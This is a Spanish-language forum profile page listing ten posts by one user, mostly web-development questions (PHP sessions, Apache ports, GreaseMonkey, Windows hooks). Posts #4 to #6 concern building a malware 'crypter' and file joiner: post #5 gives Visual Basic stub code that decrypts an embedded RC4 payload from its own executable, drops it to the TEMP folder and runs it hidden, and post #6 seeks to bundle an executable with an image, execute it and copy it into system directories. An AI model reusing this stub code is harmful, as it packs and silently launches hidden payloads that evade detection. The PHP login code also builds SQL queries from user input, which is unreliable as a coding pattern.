Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - mastercss

#1
Bueno por algun extraño motivo he conseguido solucionar el problema. No he tenido que mirar el php.ini ni mucho menos, simplemente parece que el "XAMPP" viene con una version 5.4 de php y me obliga a utilizar la directiva session_register(). Para solucionarlo solo hice esto:

Código (php) [Seleccionar]

<?php
session_start
();
session_register('usuario');
$_SESSION['usuario']="Hola caracola";
?>


Por lo que he leido en la documentación de PHP es una funcion que va a desaparecer de PHP y aun asi en ese caso, estnado en un php 5.4 no deberia de tener problemas con declarar las variables de sesion sin esta funcion. Si alguien lo utiliza porque le pase lo mismo que sepa que asi tal cual la linea de session_register('usuario') da un error de "deprecated" o en via de desaparicion. Para solucionarlo basta con poner un "@" delante, es decir, @session_register('usuario').

Muchas gracias por la ayuda.
#2
Desgraciadamente se programar en php y javascript pero no tengo ni idea de como mirar lo del php.ini. Si me indicas un poco el como estaria agradecido.
#3
MI problema es el siguiente. No he cambiado absolutamente ningun trozo de de codigo de mi web, pero sin saber porque, la sesion o mejor dicho las variables de sesion no se guardan entre paginas.

Estoy desesperado la verdad.

Todo empieza con el archivo de login, que comprueba con la base de datos el usuario y la contraseña y en el caso de que sea correcto entonces crea cuatro variables de sesion, con los datos de ese usuario y redirige a profesionales.php. En profesionales compruebo la existencia de la variable de sesion usuario y si existe imprimo el codigo html y sino redirijo de nuevo a login.php.

Os pongo los codigos.

Login.php

Código (php) [Seleccionar]
<?php
session_start
();

if(isset(
$_SESSION['user'])){
header("Location: profesionales.php");
}

if(
$_POST){
extract($_POST);
include_once("includes/class.sql.php");
include_once("includes/config.inc.php");
include_once("includes/funciones.php");

$user=limpiar($user);
$password=sha1($pass);

$sql=new sql($ip$usuario$pass$db);

$respuesta=$sql->consultar("select * from usuarios where usuario='$user';");

if(!empty($respuesta)){
if($user==$respuesta[0]['usuario'] && $password==$respuesta[0]['password']){
$_SESSION['id']=$respuesta[0]['id'];
$_SESSION['user']=$user;
$_SESSION['pass']=$password;
$_SESSION['auth_level']=$respuesta[0]['lvl_auth'];
                        
// Si aqui imprimo las variables de session recien creadas se muestran correctamente.
echo "<script>location.href='profesionales.php'</script>";
}else{
echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
echo "<script>location.href='index.php?p=login'</script>";
}
}else{
echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
echo "<script>location.href='index.php?p=login'</script>";
}


}else{
?>

<br />
<div id="acceso">
<form method="post" action="login.php">
Usuario<br />
<input type="text" name="user" /><br />
Password<br />
<input type="password" name="pass" /><br /><br />
<p align="center"><input type="submit" value="Entrar" class="button"></p>
</form>
</div>

<?php
}
?>


profesionales.php

Código (php) [Seleccionar]
<?php

session_start(); //En la primera linea declaro el session_start()

include_once("includes/config.inc.php");
include_once("includes/class.sql.php");
include_once("includes/funciones.php");

$sql=new sql($ip$usuario$pass$db);

$respuesta=$sql->consultar("SELECT * FROM presupuestos_usuarios");

$sql->cerrar();

unset($sql);

if(!isset($_SESSION['user'])){
header("Location: login.php"); //Aqui al no detectar la sesion me redirige al login de nuevo.
}else{
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-es" lang="es-es">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="content-language" content="es_ES" />
<meta charset="utf-8" /> <!-- Tipo de Codificación -->
<title>Reformas y presupuestos</title>
<style type="text/css">
@import "css/profesionales.css";
</style>
</head>
<body>
<script src="js/jquery-1.8.3.js" type="text/javascript"></script>
<script src="js/jquery.validate.js" type="text/javascript"></script>
<script src="js/jquery.imagecube.js" type="text/javascript"></script>
<script src="js/resizeLib.js" type="text/javascript" ></script>
<script src="js/ajax.js" type="text/javascript" ></script>
<script src="ckeditor/ckeditor.js" type="text/javascript" ></script>
<script type="text/javascript" src="tiny_mce/tiny_mce.js"></script>
<script>

jQuery(document).ready(function(){
$(".filtro").bind('keypress', function(e) {
if(e.keyCode==13){
var n_parametros=0;
var filtro="";
if($("#comunidad").val() !=""){
n_parametros++;
if(n_parametros > 1){
filtro +="&"+$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
}else{
filtro +=$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
}
}

if($("#localidad").val() !=""){
n_parametros++;
if(n_parametros > 1){
filtro +="&"+$("#localidad")[0].id+"="+$("#localidad")[0].value;
}else{
filtro +=$("#localidad")[0].id+"="+$("#localidad")[0].value;
}
}

if($("#categoria").val() !=""){
n_parametros++;
if(n_parametros > 1){
filtro +="&"+$("#categoria")[0].id+"="+$("#categoria")[0].value;
}else{
filtro +=$("#categoria")[0].id+"="+$("#categoria")[0].value;
}
}


var respuesta = ajax("presupuestos_usuarios.php?"+filtro, "","GET");
$("#principal").html(respuesta);
}
});

var respuesta_inicial=ajax("presupuestos_usuarios.php","","GET");
$("#principal").html(respuesta_inicial);
});

function ver(id_pre){
var respuesta=ajax("ver_presupuesto.php?id="+id_pre,"","GET");
$("#cuerpo").html(respuesta);
}

function enviar(id_pre){
var respuesta=ajax("dar_presupuesto.php?","id="+id_pre,"POST");
$("#cuerpo").html(respuesta);
}

</script>
<div id="menu">
<div id="logo">
<a href="http://127.0.0.1/orocar/"><img src="images/logo.png" style="width: 100%; height: 100%" /></a>
</div>
<div id="menu-principal">
<ul>
<li type="disc" id="logout"><a href="index.php?p=logout">Cerrar Sesion</a></li>
<li type="disc" id="presupuestos"><a href="profesionales.php">Presupuestos de Usuarios</a></li>
<li type="disc" id="perfil"><a href="index.php?p=inicio">Inicio</a></li>
</ul>
</div>
<div class="limpiar"></div>
</div>
<div id="cabecera">
<div id="cabecera-content">
<h1 id="titulo_pagina">Presupuestos recibidos</h1>
</div>
</div>
<div id="cuerpo">
<h2>Presupuestos solicitados por los usuarios</h2><br />
<div style="width: 33.3%; float: left;">
<label>Comunidad Autonoma</label><br /><br />
<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="comunidad">
</div>
<div style="width: 33.3%; float: left; ">
<label>Categoria</label><br /><br />
<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="categoria">
</div>
<div style="width: 33.3%; float: left; ">
<label>Localidad</label><br /><br />
<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="localidad">
</div>
<div class="limpiar"></div>
<div id="principal">

</div>
</div>
<div id="pie">

</div>
</body>
</html>

<?php
}
?>
#4
Me sale un MsgBox con un 2. Si aydua de algo puedo poner el código del crypter tambien.
#5
Ok haciendo mi crypter al final ams que un binder, tengo un epqueño problema en el stub, me da Run-Time error 9 Subscript out of range.

A continuación pongo el code de mi stub.

Código (vb) [Seleccionar]
Option Explicit
Sub Main()
Dim Yo As String, Datos As String, sData() As String
Yo = App.Path & "\" & App.EXEName & ".exe"

Open Yo For Binary As #1
   Datos = Space(LOF(1))
   Get #1, , Datos
Close #1

sData() = Split(Datos, "%%##%%")

sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error

Open Environ("TEMP") & "\tmp.exe" For Binary As #1
   Put #1, , sData(1)
Close #1

Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide

End Sub
Private Function RC4(ByVal expresion As String, ByVal password As String) As String
   Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer
   Dim key() As Byte, byteArray() As Byte
   Dim i2 As Long
   
   key() = StrConv(password, vbFromUnicode)
   For i = 0 To 255
       s(i) = i
       k(i) = key(i Mod Len(password))
   Next i
   For i = 0 To 255
       j = (j + s(i) + k(i)) Mod 256
       tmp = s(i)
       s(i) = s(j)
       s(j) = tmp
   Next i
   byteArray() = StrConv(expresion, vbFromUnicode)
   i = 0
   j = 0
   For i2 = 0 To Len(expresion) - 1
       i = (i + 1) Mod 256
       j = (j + s(i)) Mod 256
       tmp = s(i)
       s(i) = s(j)
       s(j) = tmp
       t = (s(i) + s(j)) Mod 256
       byteArray(i2) = byteArray(i2) Xor s(t)
   Next i2
   RC4 = StrConv(byteArray, vbUnicode)
End Function



Gracias por adelantado
#6
Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema?

Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche.

http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.html

De momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer.

Código (vb) [Seleccionar]
Private Sub Command1_Click()
    With pp
        .DialogTitle = "Elige el primer archivo"
        .Filter = "Ejecutables|*.exe"
        .ShowOpen
    End With
arcUno.Text = pp.FileName
End Sub

Private Sub Command2_Click()
    With pp
        .DialogTitle = "Elige el segundo archivo"
        .Filter = "Todo tipo de archivos|*"
        .ShowOpen
    End With
arcDos.Text = pp.FileName
End Sub

Private Sub Command3_Click()
Dim Data() As Byte
Dim DataLon As Long
Open arcUno For Binary Lock Read As 1
Open arcDos For Binary Lock Read As 2
Open byteRes For Binary Access Write As 3
DataLon = FileLen(arcUno) + Len(arcDos)
ReDim Data(DataLon) As Byte
Get #1, , Data
Get #2, , Data
Put #3, , Hex(Data(DataLon))
Close
End Sub
#7
Bueno lo he hehco tantas veces que ha perdido su sentido y espero poder ayudarte en eso.

El servidor de apache funciona por defecto en el puerto 80, es decir recibe las conexiones por este puerto y atiende a los clientes. Tu problema segun dices es tu ISP, pero como bien indicaste cambiaste al puerto 8080 y no hubo problema.

Tienes que ir al archivo de configuración de apache y modificar el puerto por defecto.
Este archivo es el apache2.conf (en linux esta en /etc/apache2) en el caso de windows supongo que cambia.
Solo tienes que abrir este archivo e ir a la directiva "Listen 80", cambias 80 por el puerto por el que quieras tener tu servidor web y listo. (Recuerda que los primeros 1024 puertos son reservados)

Aunque tambien veo que tienes un problema, probablemente tengas router, es decir tendras una ip dinamica que cambia cada cierto tiempo. Si quisieras que la ip de router fuera fija tendrias que pagar a tu ISP(telefonica).

Para evitar tener que pagar a tu compañia puedes utilizar un servicio llamado no-ip. Este servicio hace que tu ip en internet se asocie a un nombre. Te descargas un programa entras con tu cuenta de la pagina web y listo, solo dales el nombre a tus amigos y mientras tu ordenador este encendido podran ver tu pagina web.

Espero haberte ayudado, me podria haber explicado mejor pero me podria extender muhco con la teoria de apache xD
#8
Desarrollo Web / Ayuda con GreaseMonkey
1 Julio 2011, 16:33 PM
Supongo que todos conoceis este complemento para firefox que permite cargar un script sobre una pagina web ya creada.

Bien mi problema es que cuando un script falla, soy incapaz de saber donde ha falaldo y porque asi que me veo recorriendo el codigo y perdiendo un mnton de tiempo en ello.

Mi pregunta es saber si alguien conoce algun programa que muestre a poder ser el error en el script y la linea del error me facilitaria el trabajo enormemente.

Saludos
#9
Bueno despues de leer un poco, definitivamente los hooks me quedan bastante grandes xDDDDDDD.

Es decir, el manual esta muy bien pero hay muchas clases y constantes de la api SetWindowsHookEx y SetWindowsHook que no hay explicadas. Me veo incapaz de entender el codigo asi que lo siguire intentando.

Salu2
#10
Muchas gracias justo ahora estaba investigando sobre "hooks" a ver si me va bien con ellos. Salu2